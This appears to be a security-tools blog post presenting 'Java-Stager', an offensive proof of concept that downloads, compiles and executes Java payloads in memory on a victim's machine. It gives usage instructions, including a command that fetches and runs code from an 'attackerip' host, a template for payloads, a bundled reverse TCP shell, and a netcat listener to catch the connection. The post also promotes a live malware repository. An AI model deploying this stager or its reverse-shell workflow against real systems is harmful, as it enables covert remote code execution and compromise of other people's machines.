Categories: Kali Linux

Java-Stager : A PoC To Download, Compile & Execute A Java File In Memory

A PoC Java-Stager which can download, compile, and execute a Java file in memory.

The key parts of the talk for me are:

  • Load a Stager onto victim (touches disk, but is a benign binary)
  • Stager downloads raw code over HTTP (which stays in memory)
  • Stager compiles raw code (also in memory)
  • Stager then executes compiled code (also in memory)

Also Read theZoo – A Repository Of LIVE Malwares For Your Own Joy & Pleasure

How To Use Java-Stager

  • Clone down the entire repository.
  • Open it in an IDE which can use maven (such as NetBeans)
  • The Stager, and the example payload are available in the “/src/main/java” folder.
  • Alter the Stager as you would like and compile the project. I was using “clean/build” in the default profile.

The output in NetBeans Included a line like this:

Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar

To work on your victim you must upload the “JavaStager*.jar” file and the “lib” folder containing Janino from the “target” folder.

The following command will execute the stager:

java -jar JavaStager-0.1-initial.jar

You will be prompted with the usage as shown:

Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>

The “url” is the only parameter that is passed to Stager. An example usage would be:

java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java

Your payload must be in a file called “Payload.java” and your exploit code must be in a static method called “Run”. The following shows the template if you want to write your own:

public class Payload {
   public static void Run() {
      // Your code here
   }
}

I have provided an example Reverse TCP payload in the file “TCPReverseShell.java”. To prevent name clashes this is not called “Payload.java” and the class name is wrong. The header comment in “TCPReverseShell.java” explains how to modify it to work.

You will need to host your “Payload.java” file on an HTTP server. The attacker will need to start a netcat listener to catch the connection back using the standard nc -lvp 8044 technique.

Credit: James Williams

R K

Recent Posts

JBDev : A Tool For Jailbreak And TrollStore Development

JBDev is a specialized development tool designed to streamline the creation and debugging of jailbreak…

16 hours ago

Kereva LLM Code Scanner : A Revolutionary Tool For Python Applications Using LLMs

The Kereva LLM Code Scanner is an innovative static analysis tool tailored for Python applications…

17 hours ago

Nuclei-Templates-Labs : A Hands-On Security Testing Playground

Nuclei-Templates-Labs is a dynamic and comprehensive repository designed for security researchers, learners, and organizations to…

19 hours ago

SSH-Stealer : The Stealthy Threat Of Advanced Credential Theft

SSH-Stealer and RunAs-Stealer are malicious tools designed to stealthily harvest SSH credentials, enabling attackers to…

19 hours ago

ollvm-unflattener : A Tool For Reversing Control Flow Flattening In OLLVM

Control flow flattening is a common obfuscation technique used by OLLVM (Obfuscator-LLVM) to transform executable…

19 hours ago

Cybersecurity – Tools And Their Function

Cybersecurity tools play a critical role in safeguarding digital assets, systems, and networks from malicious…

2 days ago